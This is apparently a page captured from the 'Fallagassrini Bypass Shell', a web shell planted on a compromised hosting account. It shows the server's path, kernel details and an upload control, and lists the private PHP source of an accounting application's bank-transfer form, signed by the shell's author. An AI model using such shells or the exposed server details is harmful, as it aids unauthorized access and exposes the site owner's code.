? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Accounting/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/drafthr/system/application/views/Accounting/add_bank_transfer.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>

  <script type="text/javascript" src="<?=base_url()?>/assets/js/autonumeric.js"></script>
   
<script>
        jQuery(document).ready(function ()
        {
                $('.one').datepick({dateFormat: 'dd-mm-yyyy'});
                $('input.auto').autoNumeric();
                 checkfiscalyear("begin","mycompany");
                 check_tran_code_setting(4);
               
        });


  function validation()
  {
      if(!validateform('ref','from','to'))
          {
              return false;
          }
          else
              {
       var amount=document.getElementById('amount').value;
       var ref=document.getElementById('ref');
  
      if(amount=='0.00' || amount==0)
           {
             alert('Please fill  amount');
             return false;
           }
              }
  }
 function parseelement(thisone,id)
            {
                var wd
                 if(isNaN(thisone.value))
                        {

                            alert('enter a number');
                            document.getElementById(id).value='0.00';
                            document.getElementById(id).focus();
                             return false;
                         }
                 else
                         {
                                    wd="w"
                                    var tempnum=thisone.value
                                    for (i=0;i<tempnum.length;i++)
                                        {
                                            if (tempnum.charAt(i)==".")
                                                {
                                                    wd="d";
                                                    break;
                                                }
                                         }
                                if (wd=="w")
                                    thisone.value=tempnum+".00"
                                else
                                {

                                    if (tempnum.charAt(tempnum.length-2)==".")
                                         {
                                             thisone.value=tempnum+"0";
                                          }
                                    else if (tempnum.charAt(tempnum.length-3)==".")
                                         {
                                             thisone.value=tempnum;
                                         }
                                    else if(tempnum.indexOf('.')=='-1')
                                        {
                                             thisone.value=tempnum+".00";
                                        }
                                    else {
                                            tempnum=Math.round(tempnum*100)/100
                                             thisone.value=tempnum;
                                         }
                                }
                         }
            }

    Number.prototype.formatMoney = function(c, d, t){
            var n = this, c = isNaN(c = Math.abs(c)) ? 2 : c, d = d == undefined ? "," : d, t = t == undefined ? "." : t, s = n < 0 ? "-" : "", i = parseInt(n = Math.abs(+n || 0).toFixed(c)) + "", j = (j = i.length) > 3 ? j % 3 : 0;
            return s + (j ? i.substr(0, j) + t : "") + i.substr(j).replace(/(\d{3})(?=\d)/g, "$1" + t) + (c ? d + Math.abs(n - i).toFixed(c).slice(2) : "");
    };



        
   
  


   function check_bank(thisone)
   {
 var id=thisone.id;
 var send_arg=thisone.value;
 var arg=send_arg.split('~');

  document.getElementById("sum_bal"+id).style.display='block';
 if(send_arg!="")
     {
       
         $("#sum_bal"+id).load("<?= site_url('accounting/bank_bal/') ?>" +"/"+ arg[0] ,function(data)
                {
                 
                  
                


                });
                
            
     }

  else
      {
         document.getElementById("sum_bal"+id).style.display='none';
      }
       if(!validateform('from'))
           {
               return false;
           }
        var from=document.getElementById('from').value;
        var to=document.getElementById('to').value;
        
      
        if(from==to)
            {
                alert('Cannot transfer to same account');
                document.getElementById(id).selectedIndex='Select';
                document.getElementById("sum_bal"+id).style.display='none';
                return false;
            }
            
    
   }

    </script>

<div class="select-bar">
<label>
    <img src="<?=base_url()?>/assets/images/backbutton.png" title="Back" class="clickimage"  onclick="showunpostbank_page(1)" alt="Back" align = "center" width="25" height="25"  /></label>

</div>
<div id="temp" style="display:none"></div>
<div id="viewmsg"></div>



<?php
 $attributes = array('id' => 'customForm');
 echo form_open('accounting/Insertbanktransfer',$attributes);
   $tra_cod= $this->customermodel->getSingleFieldValue('transaction_code','code','trans',4);
  if($tra_cod!='')
  {
       $next_ref= $this->accountingsmodel->get_reference_code(4);
      $refcode=$tra_cod.'/'.date('Y').'/'.$next_ref;
  }
  else
  {
      $refcode="";
  }
 ?>
<fieldset>
        <legend>Bank to Bank Transfer</legend>


        <br/><br/>
        <fieldset style="width:49%;height:200px;margin:10px 0px 10px 3px;float: left ">
            <ul>

                <li>
                    <label> From Account:</label><select style="width: 160px" name="from" onchange="check_bank(this)" id="from"><option value="">Select</option>
                                 <?php

                                     $bankacc=$this->mastermodel->getdatas('bank_accounts');
				        if (count($bankacc))
				         {
				        foreach ($bankacc as $key => $acc)
				         {
				        echo "<option value='".$acc['id'].'~'.$acc['account_code']."' >" . $acc['bank_account_name'] . "</option>";
				         }
                                         }
                    ?>
                    </select><span id="fromInfo" class="red_bold">*</span><span id="sum_balfrom"></span>
                </li>
                <li>
                    <label>To Account:</label><select onchange="check_bank(this)" name="to" id="to" style="width: 160px" >
                <option value="">Select</option>

                                    <?php

                                     $bankacc=$this->mastermodel->getdatas('bank_accounts');
				        if (count($bankacc))
				         {
				        foreach ($bankacc as $key => $acc)
				         {
				        echo "<option value='".$acc['id'].'~'.$acc['account_code']."' >" . $acc['bank_account_name'] . "</option>";
				         }
                                         }
                    ?>


                                         <?php

//                         $stop_loop=1;
//                         $acc_desc=$this->accountingsmodel->opt_group();
//                            if (count($acc_desc))
//                             {
//                                $name='-----defaultname----';
//                                foreach ($acc_desc as $key => $desc)
//                                         {
//                                             if($name!=$desc['chart_types'])
//                                                {
//                                                    echo "<optgroup label='". $desc['chart_types'] ."'></optgroup>";
//                                                    $name=$desc['chart_types'];
//
//                                                        if($stop_loop==1)
//                                                        {
//                                                            $bankacc=$this->mastermodel->getdatas('bank_accounts');
//                                                            if (count($bankacc))
//                                                             {
//                                                            foreach ($bankacc as $key => $acc)
//                                                             {
//                                                            echo "<option value='".$acc['id'].'~'.$acc['account_code']. "' >" .'&nbsp;&nbsp;&nbsp;'. $acc['bank_account_name'] . "</option>";
//                                                             }
//                                                             }
//                                                             $stop_loop=2;
//                                                        }
//                                                }
//                                            echo "<option value='".$desc['id'].'~'. $desc['account_code'] . "' >" .'&nbsp;&nbsp;&nbsp;'. $desc['account_name']. "</option>";
//                                        }
//                             }
                ?>
                    </select><span id="toInfo" class="red_bold">*</span><span  id="sum_balto"></span>

                </li>
                <li>
                    <label> Amount :</label><input style="text-align:right;" type="text" class="auto" name="amount" value="0.00" id="amount" /><span id="amountInfo" class="red_bold"></span>
                </li>
                <li>
                    
                </li>
            </ul>

        </fieldset>

         <fieldset style="width:49%;height:200px; ;margin:10px 3px 10px 6px;float: left ">
            <ul>

                <li>
                    <label>Transaction No.:</label><input type="text" readonly value="<?=$refcode?>" onblur="data_exist(this)" name="ref" id="ref"> <br/><span id="refInfo" class="red_bold">*</span>

                </li>
                <li>
                    <label>Date :</label><input class="one" type="text"  value="<?php echo date("d-m-Y"); ?>" readonly="readonly" name="date" id="date">
                </li>
                <li>
                     <label>Memo :</label><textarea name="memo" id="memo" style="width: 150px" ></textarea>
                </li>
                <li>

                </li>
            </ul>

         </fieldset>
        <fieldset style="width:100%;text-align:center;border: none">
            <button type="submit" class="clickimage" name="add_pay" onclick="return validation()" id="button1" >Transfer Amount</button>
        </fieldset>


      

         <div id="adddiv"> </div>
          
      
</fieldset>


<?php
echo form_close();
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net